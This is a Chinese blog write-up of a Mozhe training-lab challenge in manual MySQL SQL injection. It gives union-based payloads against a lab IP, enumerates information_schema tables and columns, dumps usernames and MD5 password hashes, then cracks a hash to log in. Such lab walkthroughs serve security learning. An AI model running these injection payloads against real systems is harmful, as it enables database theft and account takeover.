MOZHE SQL手工注入漏洞测试(MySQL数据库)

主界面URL没有参数,无法判断是否有注入点

点击公告

【浏览器不便于查看返回包可以用burp】

测试URL

sql 复制代码
参数后加上单引号,报错,说明存在注入点
http://124.70.64.48:40021/new_list.php?id=1'

获取表列数

sql 复制代码
order by 4  返回200
order by 5  返回500
id 所在表有4列

爆显位

sql 复制代码
让id=-1,使前半段查询出错,让后半段查询结果显示出来
填充数字个数等于列刚才得到的列数
http://124.70.64.48:40021/new_list.php?id=-1%20union%20select%201,2,3,4

获取信息

XML 复制代码
在显位上查询以下信息:
version()                数据库版本5.7.22-0ubuntu0.16.04.1
user()                   用户root@localhost
@@version_compile_os     操作系统Linux
database()               数据库名字mozhe_Discuz_StormGroup

知道数据库名字,到information_schema里查数据库中的表

sql 复制代码
group_concat() 将结果连接起来,避免显示不完整
information_schema.tables记录了所有表的信息
information_schema.tables的table_schema列记录了表对应的数据库
information_schema.tables的table_name列记录了表名

union select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema='mozhe_Discuz_StormGroup'

该数据库有两个表StormGroup_member,notice

知道表名查列名

sql 复制代码
group_concat() 将结果连接起来,避免显示不完整
information_schema.columns记录了所有列的信息
information_schema.columns的table_name列记录了列对应的表
information_schema.columns的column_name列记录了列名

union select 1,group_concat(column_name),3,4 from information_schema.columns where table_name='StormGroup_member'

该数据库有列:id,name,password,status

知道列名查字段

sql 复制代码
union select 1,group_concat(name),group_concat(password),4 from mozhe_Discuz_StormGroup.StormGroup_member

name:mozhe,mozhe
password:356f589a7df439f6f744ff19bb8092c0,ae0af42ea5d582a11a9c994a96a2002e

密码为MD5加密,md5在线解密

第二个密码209883正确。(查看status列就知道,第一个账号status为0,登录不了)

成功登录,获取key

相关推荐
Leo.yuan6 分钟前
不同数据仓库模型有什么不同?企业如何选择适合的数据仓库模型?
大数据·数据库·数据仓库·信息可视化·spark
FreeBuf_11 分钟前
Salesloft Drift网络攻击事件溯源:GitHub账户失陷与OAuth令牌窃取
安全·github
麦兜*23 分钟前
MongoDB 6.0 新特性解读:时间序列集合与加密查询
数据库·spring boot·mongodb·spring·spring cloud·系统架构
chat2tomorrow25 分钟前
数据采集平台的起源与演进:从ETL到数据复制
大数据·数据库·数据仓库·mysql·低代码·postgresql·etl
稻草人想看远方28 分钟前
关系型数据库和非关系型数据库
数据库
考虑考虑29 分钟前
Postgerssql格式化时间
数据库·后端·postgresql
依稀i12332 分钟前
Spring Boot + MySQL 创建超级管理员
spring boot·mysql
千里码aicood38 分钟前
【springboot+vue】党员党建活动管理平台(源码+文档+调试+基础修改+答疑)
java·数据库·spring boot
Chan1642 分钟前
【智能协同云图库】基于统一接口架构构建多维度分析功能、结合 ECharts 可视化与权限校验实现用户 / 管理员图库统计、通过 SQL 优化与流式处理提升数据
java·spring boot·后端·sql·spring·intellij-idea·echarts
TDengine (老段)1 小时前
TDengine 选择函数 Max() 用户手册
大数据·数据库·物联网·时序数据库·tdengine·涛思数据